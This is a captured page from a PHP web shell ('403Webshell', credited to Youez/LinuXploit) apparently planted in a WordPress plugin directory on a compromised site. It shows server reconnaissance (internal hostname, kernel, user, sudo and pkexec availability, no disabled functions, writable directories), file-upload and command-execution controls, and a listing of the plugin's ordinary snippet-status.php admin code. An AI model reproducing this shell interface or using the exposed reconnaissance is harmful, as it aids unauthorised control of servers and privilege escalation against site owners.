403Webshell
Server IP : 172.67.201.108  /  Your IP : 216.73.217.39
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/home2/mommybites/wp-content/plugins/insert-php-code-snippet/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/home2/mommybites/wp-content/plugins/insert-php-code-snippet/admin/snippet-status.php
<?php
if ( ! defined( 'ABSPATH' ) )
    exit;

global $wpdb;
$_POST = stripslashes_deep($_POST);
$_GET = stripslashes_deep($_GET);
$xyz_ips_snippetId = intval($_GET['snippetId']);
$xyz_ips_snippetStatus = intval($_GET['status']);
$xyz_ips_pageno = intval($_GET['pageno']);

if (! isset( $_REQUEST['_wpnonce'] ) || ! wp_verify_nonce( $_REQUEST['_wpnonce'], 'ips-pstat_'.$xyz_ips_snippetId )) {
    wp_nonce_ays( 'ips-pstat_'.$xyz_ips_snippetId );
    exit;
} 
else{
    if($xyz_ips_snippetId=="" || !is_numeric($xyz_ips_snippetId)){
        header("Location:".admin_url('admin.php?page=insert-php-code-snippet-manage'));
        exit();
    }

    $snippetCount = $wpdb->query($wpdb->prepare( 'SELECT * FROM '.$wpdb->prefix.'xyz_ips_short_code WHERE id=%d LIMIT 0,1' ,$xyz_ips_snippetId)) ;
    
    if($snippetCount==0){
        header("Location:".admin_url('admin.php?page=insert-php-code-snippet-manage&xyz_ips_msg=2'));
        exit();
    }
    else{
        $wpdb->update($wpdb->prefix.'xyz_ips_short_code', array('status'=>$xyz_ips_snippetStatus), array('id'=>$xyz_ips_snippetId));
        header("Location:".admin_url('admin.php?page=insert-php-code-snippet-manage&xyz_ips_msg=4&pagenum='.$xyz_ips_pageno));
        exit();
    }
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit